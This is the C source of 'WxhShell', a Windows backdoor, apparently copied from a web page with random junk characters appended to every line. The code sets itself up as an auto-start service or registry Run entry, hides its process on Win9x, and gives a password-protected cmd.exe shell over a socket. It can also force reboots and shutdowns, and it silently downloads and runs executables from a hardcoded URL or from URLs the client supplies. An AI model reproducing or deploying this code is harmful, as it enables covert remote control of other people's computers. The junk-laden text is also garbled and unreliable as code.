    if(Boot(SHUTDOWN)) )+ G0m,n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K&._fG  
    else { bg3kGt0  
    closesocket(wsh); c5f57Z  
    ExitThread(0); hTAc}'^$  
    } M&zB&Ia"'  
    break; 2:.$:wS  
    } $m>( kd1  
  // 获取shell ]nV_K}!w  
  case 's': { jMWTNZ  
    CmdShell(wsh); !K_<7iExI\  
    closesocket(wsh); \Q`#E'?  
    ExitThread(0); LCRWC`%&  
    break; tF*Sg{:bCa  
  } )jI4]6  
  // 退出 Z^F>sUMR  
  case 'x': { tm34Z''.>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mFpj@=^_G  
    CloseIt(wsh); y54RD/`-  
    break; oM n'{+(w  
    } V'.gE6we  
  // 离开 HU +271A8  
  case 'q': { z xv y&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k?pNmKVJM  
    closesocket(wsh); K:4 G(?w  
    WSACleanup(); S-6i5H"B&  
    exit(1); wc6#C>=F  
    break; ENYc.$ r  
        } *}r6V"pH~  
  } 5U_ar   
  } `ER#S_}  
' z^v}~  
  // 提示信息 ,=ju^_^sA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ Axw$oYS  
} %AgCE"!  
  } 5=poe@1g  
`EP-Qlm  
  return; N:^4On VR  
} 00W_XhJ  
<1V>0[[e  
// shell模块句柄 zS\m8[+]  
int CmdShell(SOCKET sock) u7wZPIC{_  
{ }q/[\3  
STARTUPINFO si; 5',b~Pp  
ZeroMemory(&si,sizeof(si)); R;/LB^X]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; up3m um  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D1fUEHB}A8  
PROCESS_INFORMATION ProcessInfo; )A;jBfr  
char cmdline[]="cmd"; o5z&sRZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v<} $d.&*  
  return 0; DqH]FS?]  
} \iwUsv>SB  
wzI*QXV2s  
// 自身启动模式 d D^?%,a  
int StartFromService(void) 1kc{`oL  
{ n u>6UjV  
typedef struct { 6*UtG  
{ xUs1-O1i  
  DWORD ExitStatus; H#`&!p  
  DWORD PebBaseAddress; ~bjT,i  
  DWORD AffinityMask; \y/0)NL\  
  DWORD BasePriority; U%2{PbL  
  ULONG UniqueProcessId; xl,?Hh%#  
  ULONG InheritedFromUniqueProcessId; SkXx: @  
}   PROCESS_BASIC_INFORMATION; i;+<5_   
i\L7z)u  
PROCNTQSIP NtQueryInformationProcess; M w+4atO4[  
G>^ _&(c@2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1UH_"Q03  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R<>uCF0  
YH[HJ#:7r  
  HANDLE             hProcess; PurY_  
  PROCESS_BASIC_INFORMATION pbi; cmLI!"RLe  
apm,$Vvjy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6;\Tps;A  
  if(NULL == hInst ) return 0; hcD.-(-;)  
}Tk*?tYt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Kg3qS"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e]d\S] 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q mz3GH@wg  
"CT`]:GGK  
  if (!NtQueryInformationProcess) return 0; ^W,x  
kh*td(pfP9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FwSV \N+#'  
  if(!hProcess) return 0; qB=%8$J  
NEMC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FE?^}VH  
k$K>ml/h  
  CloseHandle(hProcess); YcuHYf5  
k{C|{m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )0@&pEObm  
if(hProcess==NULL) return 0; w3oe.hWP3N  
9O#?r82  
HMODULE hMod; 8F`799[p  
char procName[255]; }KL( -Ui$  
unsigned long cbNeeded; jowR!rqf  
& MfnH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~D Ta% J  
u!VY6y7p  
  CloseHandle(hProcess); ^cYt4NHXn  
kv/mqKVr  
if(strstr(procName,"services")) return 1; // 以服务启动 A v%'#1w<"  
h|&qWv  
  return 0; // 注册表启动 u*H V  
} c"@,|wCUi  
N%+C5e<  
// 主模块 [kg*BaG:  
int StartWxhshell(LPSTR lpCmdLine) [ U?a %$G>  
{ lF1ieg"i M  
  SOCKET wsl; ?9AtFT  
BOOL val=TRUE; ig,v6lqhM  
  int port=0; $t$YdleIH  
  struct sockaddr_in door; bG9$&,  
E./Gt.Na  
  if(wscfg.ws_autoins) Install(); )SFy Q  
oQ8If$a}  
port=atoi(lpCmdLine); Dmv@ljwO  
0_-NE4SM/  
if(port<=0) port=wscfg.ws_port; %Nm69j-5%  
f<~S0[H  
  WSADATA data; +q4AK<y-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wpPCkfPyL  
5U&?P   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &8wluOs/5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mq~L1< f  
  door.sin_family = AF_INET; *6%r2l'kZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '@+a]kCMev  
  door.sin_port = htons(port); d#G H4+C  
|yow(2(F@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0xg6  
closesocket(wsl); $3MYr5  
return 1; r6eApKZ>f6  
} ,t_Fo-i7vI  
0FD+iID  
  if(listen(wsl,2) == INVALID_SOCKET) { WKPuIE:  
closesocket(wsl); c 7uryL  
return 1; /_*L8b  
} {]\!vG6  
  Wxhshell(wsl); 14v,z;HXj  
  WSACleanup();  =:-x;  
(*2kM|  
return 0; 0<T/P+|  
wsNM'~(  
} Mw+8p}E  
*6e 5T  
// 以NT服务方式启动 .)eX(2j\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LAwAFma>  
{ p94 w0_m@|  
DWORD   status = 0; >Kc>=^=5  
  DWORD   specificError = 0xfffffff; .AgD`wba  
\hwz;V.J"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x GHS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RGim):1e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "Aq-H g  
  serviceStatus.dwWin32ExitCode     = 0; lE?F Wt  
  serviceStatus.dwServiceSpecificExitCode = 0; FWbA+{8  
  serviceStatus.dwCheckPoint       = 0; _=eeZ4f  
  serviceStatus.dwWaitHint       = 0; G}b LWA  
J<{@D9r9<~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U0:tE>3`  
  if (hServiceStatusHandle==0) return; 2x7%6'  
B3^4,'  
status = GetLastError(); 3;J)&(j0  
  if (status!=NO_ERROR) {~ngI<  
{ A;A>Q`JJF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; to  
    serviceStatus.dwCheckPoint       = 0; 'j+J?Y^  
    serviceStatus.dwWaitHint       = 0; A"@C }f  
    serviceStatus.dwWin32ExitCode     = status; {6yiD  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lc<C1I 5=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W|FPj^*t  
    return; L@{5:#-  
  } g2<xr;<t^  
qeyBZ8BG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HEjrat;5  
  serviceStatus.dwCheckPoint       = 0; Wh)QCp0|n  
  serviceStatus.dwWaitHint       = 0; X>#!s Lt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qx mVImn"  
} FFNv'\)  
|h,aV(Q  
// 处理NT服务事件,比如:启动、停止 04wmN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y8KJoVP iM  
{ C9q`x2  
switch(fdwControl) ^vmyiF  
{ o|nj2.  
case SERVICE_CONTROL_STOP: .hCOi<wB  
  serviceStatus.dwWin32ExitCode = 0; v?\bvg\E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Ooh}V#J  
  serviceStatus.dwCheckPoint   = 0; &zF1&J58z  
  serviceStatus.dwWaitHint     = 0; 7 C5m#e3  
  { ~pqp`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQ2u R  
  } *HwTq[y  
  return; IdlW[h3`[  
case SERVICE_CONTROL_PAUSE: m3k}Q3&6Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  @GYM4T  
  break; :LL>C)(f  
case SERVICE_CONTROL_CONTINUE: vTD`Ja#h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yS#LT3>l  
  break; )h ~MIpWR  
case SERVICE_CONTROL_INTERROGATE: SZCF db  
  break; L`ZH.fN  
}; wL2d.$?TEg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W)F2X0D>  
} Vl!Z|}z  
}Jgz#d  
// 标准应用程序主函数 xcz1(R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :G|Jcl=r  
{ @Zs}8YhC  
!m$OI:rr  
// 获取操作系统版本 -, ~n|ceI  
OsIsNt=GetOsVer(); (d[)U<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^z$-NSlI  
MS6^= ["  
  // 从命令行安装 {O6f1LuH  
  if(strpbrk(lpCmdLine,"iI")) Install(); oU m"qt_  
WZ'3  
  // 下载执行文件 $+sNjwv^F  
if(wscfg.ws_downexe) { ?EeHeN_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n2R{$^JxO  
  WinExec(wscfg.ws_filenam,SW_HIDE); }Y5Sf"~M  
} UKx91a}g  
Y XH9Q@Gn  
if(!OsIsNt) { <BQ4x.[  
// 如果时win9x,隐藏进程并且设置为注册表启动 6ZVJ2xs[%  
HideProc(); !9i,V{$c`"  
StartWxhshell(lpCmdLine); :<s)QD  
} +EcN[-~  
else Od'!v&  
  if(StartFromService()) ?0+D1w  
  // 以服务方式启动 v"L<{HN  
  StartServiceCtrlDispatcher(DispatchTable); 2Ni$ (`"  
else Jjz:-Uqq2  
  // 普通方式启动 +E QRNbA  
  StartWxhshell(lpCmdLine); )L`0VTw'M  
16o3ER  
return 0; z@cL<.0CE  
} &gkloP @  
pd,5.d  
kzGD *  
RaAi9b[/S  
=========================================== C}+w<  
;y?,myO  
jGEUl=W  
)5Kzq6.  
&|H?J,>  
V2%FWo|  
" W\zg#5fmK  
HW{osav9  
#include <stdio.h> q[l},nw  
#include <string.h> 7,_N9Q]rB  
#include <windows.h>  AMvM H  
#include <winsock2.h> TC3xrE:U<m  
#include <winsvc.h> ?G1-X~Z8  
#include <urlmon.h> H.j(hc'  
6d,jR[JP  
#pragma comment (lib, "Ws2_32.lib") bxO8q57  
#pragma comment (lib, "urlmon.lib") 2<y E3:VX  
C]-Z+9Vvv  
#define MAX_USER   100 // 最大客户端连接数 OUe@U;l{Z  
#define BUF_SOCK   200 // sock buffer Rw*l#cr=.  
#define KEY_BUFF   255 // 输入 buffer ^l ~i>:V  
S(Xab_DT)H  
#define REBOOT     0   // 重启 K3TMTY<p  
#define SHUTDOWN   1   // 关机 M=e]v9  
w:& m_z#M  
#define DEF_PORT   5000 // 监听端口 |qJQWmJO&U  
X #-U  
#define REG_LEN     16   // 注册表键长度 Ym-uElWo  
#define SVC_LEN     80   // NT服务名长度 NZ'S~Lr   
;&P%A<[`  
// 从dll定义API JMw1qPJQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6Ez}A|i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '6fMF#X4F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %K /=7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mT>56\63  
x9~d_>'A  
// wxhshell配置信息 7f'9Dm`  
struct WSCFG { RT8xU;   
  int ws_port;         // 监听端口 yEy} PCJ&  
  char ws_passstr[REG_LEN]; // 口令 Sq}hx  
  int ws_autoins;       // 安装标记, 1=yes 0=no >"B95$x5  
  char ws_regname[REG_LEN]; // 注册表键名 myFj w@  
  char ws_svcname[REG_LEN]; // 服务名 7Cx%G/(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^x4I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !Z,h5u\.w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b-@VR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?Il$f_"B:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]6p?mBuQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kp[+Iun?  
I2q C,Nkk  
}; ykxjT@[  
]0zXpMNI  
// default Wxhshell configuration ?z171X0  
struct WSCFG wscfg={DEF_PORT, GNqw]@'Yf  
    "xuhuanlingzhe", ~9p*zC3M  
    1, Ytc  
    "Wxhshell", D&/(Avx.  
    "Wxhshell", ^~0\d;l_  
            "WxhShell Service", v1QE|@  
    "Wrsky Windows CmdShell Service", fnG&29x  
    "Please Input Your Password: ", UC;_}>  
  1, b"t!nfgo  
  "http://www.wrsky.com/wxhshell.exe", 9@#Z6[=R,  
  "Wxhshell.exe" u}JL*}Q  
    }; ^LE`Y>&m  
j\("d4n%C  
// 消息定义模块 $OHY^IE(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #]oVVf_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OnC|9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C+cSy'VIK!  
char *msg_ws_ext="\n\rExit."; @U_w:Q<9u  
char *msg_ws_end="\n\rQuit."; kV(}45i]s  
char *msg_ws_boot="\n\rReboot..."; +g<2t,  
char *msg_ws_poff="\n\rShutdown..."; 3lqR(Hh3  
char *msg_ws_down="\n\rSave to "; V{O,O,*  
.%h.b6^  
char *msg_ws_err="\n\rErr!"; B9/x?Jv1  
char *msg_ws_ok="\n\rOK!"; '%yWz)P  
s@E "EWp0  
char ExeFile[MAX_PATH]; X5cl'J(j9  
int nUser = 0; bBc<yaN  
HANDLE handles[MAX_USER]; wLPL 9  
int OsIsNt; F"#bCnS  
fKf5i@CvB@  
SERVICE_STATUS       serviceStatus; G\?fWqx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  Y5 $5qQ  
j08}5Eo  
// 函数声明 0"(5\T  
int Install(void); G)';ucs:,  
int Uninstall(void); KtUI(*$`  
int DownloadFile(char *sURL, SOCKET wsh); YBN@{P$  
int Boot(int flag);   _p\  
void HideProc(void); G,e>dp_cPu  
int GetOsVer(void); w-2p'u['Z  
int Wxhshell(SOCKET wsl); "D'A7DA  
void TalkWithClient(void *cs); + O=wKsGD  
int CmdShell(SOCKET sock); F``$}]9KHD  
int StartFromService(void); OWx YV$  
int StartWxhshell(LPSTR lpCmdLine); E'?yI' ~=  
t?L;k+sMM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9w^1/t&=04  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M2(+}gv;7p  
\]e"#"v}}_  
// 数据结构和表定义 2K'3ry)[y  
SERVICE_TABLE_ENTRY DispatchTable[] = ~&4Hc%*IB  
{ qYBoo]}a  
{wscfg.ws_svcname, NTServiceMain}, X#j-Ld{j  
{NULL, NULL} Wjn1W;m&g  
}; >c*}Do{lG  
` /#f8R1g  
// 自我安装 !5wm9I!5^  
int Install(void) Zj99]4?9  
{ 8 sZ~3  
  char svExeFile[MAX_PATH]; \Y_2Z /  
  HKEY key; jxU1u"WU  
  strcpy(svExeFile,ExeFile); %Wkvo-rOq  
;t{Ew+s  
// 如果是win9x系统,修改注册表设为自启动 dFFJw[$8w  
if(!OsIsNt) { nR-`;lrF~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { im_WTZz2P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jiyt,D*wX  
  RegCloseKey(key); m{  .'55  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (ec?_N0=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); abh='5H|^|  
  RegCloseKey(key); .p  NWd  
  return 0; Fd*)1FQKT  
    } <[ />M  
  } Z|K+{{C  
} 5:6as^i:b  
else { v*SSc5gFG  
AA"?2dF  
// 如果是NT以上系统,安装为系统服务 obKWnet  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9bR lSb@  
if (schSCManager!=0) U:ggZ`.  
{ 0f}zm8p7.  
  SC_HANDLE schService = CreateService eVyXh>b*  
  ( 4n @}X-)  
  schSCManager, zV_U/]y  
  wscfg.ws_svcname, 'VcZ_m:  
  wscfg.ws_svcdisp, [,Q(~Qb  
  SERVICE_ALL_ACCESS, jFY6}WY)}7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s!esk%h{K  
  SERVICE_AUTO_START, !'o5X]s  
  SERVICE_ERROR_NORMAL, XW w=3$  
  svExeFile, '^)Ve:K-.  
  NULL, w?)v#]<-  
  NULL, 6ziiV _p  
  NULL, YjN2 ,Xi  
  NULL, ! /;@kXN  
  NULL Fk@A;22N  
  ); bmgK6OyVR  
  if (schService!=0) pXf!8X&y  
  { x%ju(B>  
  CloseServiceHandle(schService); =QFnab?N  
  CloseServiceHandle(schSCManager); p\T9 q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2A7g}V  
  strcat(svExeFile,wscfg.ws_svcname); qq" &Bc>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6FNs4|(d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ++d(}^C;  
  RegCloseKey(key); xdb9oH  
  return 0; 0g}+%5]yg  
    } 64;F g/t  
  } V#["Z}  
  CloseServiceHandle(schSCManager); ,S 5tkTa  
} M24FuS  
} V9[-# Ti  
k>y68_  
return 1; =r=[e}&9  
} Pz#D9.D0  
eSo/1D  
// 自我卸载 [,[;'::=o4  
int Uninstall(void) }6ObQa43   
{ Rp$t;=SMD  
  HKEY key; MF:]J  
m99j]w r~c  
if(!OsIsNt) { =!u9]3)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wQbN5*82  
  RegDeleteValue(key,wscfg.ws_regname); 2 g5Ft  
  RegCloseKey(key); ^HYmi\`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UQ6UZd37   
  RegDeleteValue(key,wscfg.ws_regname); [ fvip_Pt  
  RegCloseKey(key); D-\WS^#  
  return 0; M:x?I_JG8  
  } u&/[sq x  
} sk !92mQ  
} v$c*3H.seM  
else { fq(r,h=|  
4Kjrk7GAx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vFz%#zk>  
if (schSCManager!=0) e=K2]Y Q{  
{ PkA_uDhw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y+xw`gR:  
  if (schService!=0) w:xLg.Eq6  
  { "Y0:Y?Vz"  
  if(DeleteService(schService)!=0) { *)0bifw$&  
  CloseServiceHandle(schService); c@9jc^CJ  
  CloseServiceHandle(schSCManager); "^E/N},%u5  
  return 0; 9l) .L L  
  } v Yt-Nx  
  CloseServiceHandle(schService); "{>I5<:t  
  } %"tLs%"7=P  
  CloseServiceHandle(schSCManager); .2?tx OKh  
} k[lYd k  
} W:D'k^u  
.3WDtVE  
return 1; P \<dy?nZ  
} jO xH' 1I  
n5CjwLgu\b  
// 从指定url下载文件 MG ,exN @  
int DownloadFile(char *sURL, SOCKET wsh) #?%akQ+w  
{ KWtLrZ(j  
  HRESULT hr; .w5#V|   
char seps[]= "/"; @y:mj \J9  
char *token; *>Sb4:  
char *file; /3|uU  
char myURL[MAX_PATH]; wq &|V  
char myFILE[MAX_PATH]; t}m6];  
=f'MiU!p6  
strcpy(myURL,sURL); :M" NB+T  
  token=strtok(myURL,seps); Fx#0 :p  
  while(token!=NULL) 86Q\G.h7  
  { bg.f';C  
    file=token; p\lS ) 9  
  token=strtok(NULL,seps); S%KY%hUt  
  } *p!K9$4  
48X;'b,h  
GetCurrentDirectory(MAX_PATH,myFILE); Z}bUvr XP  
strcat(myFILE, "\\"); ECHl 9; +  
strcat(myFILE, file); |rJ1/T.9  
  send(wsh,myFILE,strlen(myFILE),0); TAz #e  
send(wsh,"...",3,0); d>"t* >i]>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &1O[N*$e  
  if(hr==S_OK) Abr:UEG  
return 0; GE4d=;5  
else hgCF!eud  
return 1; tBEZ4 W>67  
zrfE'C8O  
} ' k~'aZ  
\m @8$MK  
// 系统电源模块 b|U48j1A  
int Boot(int flag) z 9mmZqhK\  
{ gs;3NW  
  HANDLE hToken; (lv|-Phc.  
  TOKEN_PRIVILEGES tkp; RFF&-M]  
`P;fD/I  
  if(OsIsNt) { i<<NKv8;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B"N8NVn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f:5(M@iO.  
    tkp.PrivilegeCount = 1; O[+![[N2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KQsS)ju  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9( ;lcOz  
if(flag==REBOOT) { a<+Qw'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hDc, #~!  
  return 0; C~o6]'+F_  
} y- S]\tu  
else { ;)ff Gg>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K{[ySB  
  return 0; dRg1I=|{_  
} ,aI 6P-  
  } #;. tVo I  
  else { uS :3Yo  
if(flag==REBOOT) { W-mi1l^H{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]p3hq1u3&  
  return 0; U85t !U  
} NJ8QI(^"  
else { >T3HkOT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;OW`(jC  
  return 0; FG8genCH@  
} 4xLU15C  
} 3\eb:-B:@  
$I(2}u?1+d  
return 1; #W<D~C[I _  
} ]>h2h?2te  
S9X~<!]  
// win9x进程隐藏模块 $^R[t;  
void HideProc(void) x9r5 ;5TI  
{ n y6-_mA]  
*au&ODa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =8OPj cX.V  
  if ( hKernel != NULL ) 7NG^X"N{Ul  
  { )mO|1IDTN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b{H&%Jx)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kE QT[Lo  
    FreeLibrary(hKernel); @ -pi  
  } 4)Y=)#=  
!Dp4uE:Pq  
return; <~# ZtD$G  
} _$/(l4\T[  
!?B9 0(  
// 获取操作系统版本 Qz&I~7aoyV  
int GetOsVer(void) ;;BQuG  
{ +s&+G![  
  OSVERSIONINFO winfo; w2y{3O"p=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lPm'>, }Y  
  GetVersionEx(&winfo); _[h1SAJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cec!{]DL&  
  return 1; Ni IX^&N1  
  else N(mhgC<O  
  return 0; -[OGZP`8  
} *1iJa  
+GMM&6<  
// 客户端句柄模块  K9  
int Wxhshell(SOCKET wsl) %Bg} a  
{ o2?[*pa  
  SOCKET wsh; -WP_0  
  struct sockaddr_in client; UMUr"-l =  
  DWORD myID; * EOIgQp  
hBDPz1<  
  while(nUser<MAX_USER) /yn1MW[.  
{ y6Xfddd61  
  int nSize=sizeof(client); M9*7r\hqYV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8^j u=  
  if(wsh==INVALID_SOCKET) return 1; w#k'RuOw5  
QFIdp R.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R(@7$  
if(handles[nUser]==0) %,%s09tO  
  closesocket(wsh); C$ cX{hV  
else S*rgYe!E  
  nUser++; w'ZL'/d  
  } EL80f>K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +g ovnx  
~Bn#A kL  
  return 0; " M8 j?  
} FX)g\=ov  
(qHI>3tpY  
// 关闭 socket T#?KY  
void CloseIt(SOCKET wsh) {y=H49  
{ cX"[#Em#  
closesocket(wsh); (i>VJr  
nUser--; Zeyhr\T  
ExitThread(0); rFZB6A<(]  
} 5~4I.+~8  
dsqqq,>Q  
// 客户端请求句柄 f33'2PYl  
void TalkWithClient(void *cs) x, a[ p\1  
{ 95^w" [}4Q  
h";G vjy  
  SOCKET wsh=(SOCKET)cs; ("o <D{A  
  char pwd[SVC_LEN]; Y>Q9?>}Q  
  char cmd[KEY_BUFF]; qQ%zSJ?  
char chr[1]; ORlz1 &hW  
int i,j; HH+NNSRO  
{'G@-+K  
  while (nUser < MAX_USER) { /ow/)\/}  
|//cA2@.  
if(wscfg.ws_passstr) { K) $.0S9d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T=: &W3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g"]%5Ow1  
  //ZeroMemory(pwd,KEY_BUFF); YnuC<y &p  
      i=0; Q?n} ~(% &  
  while(i<SVC_LEN) { CF>k_\/Bj  
S(mJ;C  
  // 设置超时 Ta?#o  
  fd_set FdRead; 9I=J#Hi|+  
  struct timeval TimeOut; >[,Rt"[V  
  FD_ZERO(&FdRead); 1 9a"@WB@  
  FD_SET(wsh,&FdRead); j(6:   
  TimeOut.tv_sec=8; P (jlWr$$  
  TimeOut.tv_usec=0; wA) NB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ps Qq ^/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BIDmZU9tL  
^CI.F.#X|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yAR''>  
  pwd=chr[0]; 0}hN/2}&  
  if(chr[0]==0xd || chr[0]==0xa) { fm87?RgXD  
  pwd=0; 3G8BYP  
  break; :h0as!2@dp  
  } v>.nL(VLjP  
  i++; PTIC2  
    } W&}YM b  
V=k!&xN~  
  // 如果是非法用户,关闭 socket "R+ x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %Nd|VAe  
} qfvd( w  
=A9>Ej/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q[scmP^$^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i;*c|ma1>  
9c8zH{T_{  
while(1) { *fW&-ic  
IyIh0B~i  
  ZeroMemory(cmd,KEY_BUFF); "2+>!G RQ  
PHi'&)|  
      // 自动支持客户端 telnet标准   UtG@0(6C  
  j=0; wKe^5|Rr  
  while(j<KEY_BUFF) { I:u xj%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F}<&@7kF  
  cmd[j]=chr[0]; << LmO-92  
  if(chr[0]==0xa || chr[0]==0xd) { n_AW0i .  
  cmd[j]=0; Y1+4ppZ  
  break; ygS*))7 r  
  } $$<9tqA  
  j++; AvRZf-Geg  
    } Crh5^?  
~ygiKsD6b  
  // 下载文件 [=u8$5/a  
  if(strstr(cmd,"http://")) { Q#urx^aw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JM -Tp!C>  
  if(DownloadFile(cmd,wsh)) U}MU>kzb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |^C?~g  
  else 5H:NY|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -]~U_J]  
  } ?`AzgM[I  
  else { I/jMe'Kp  
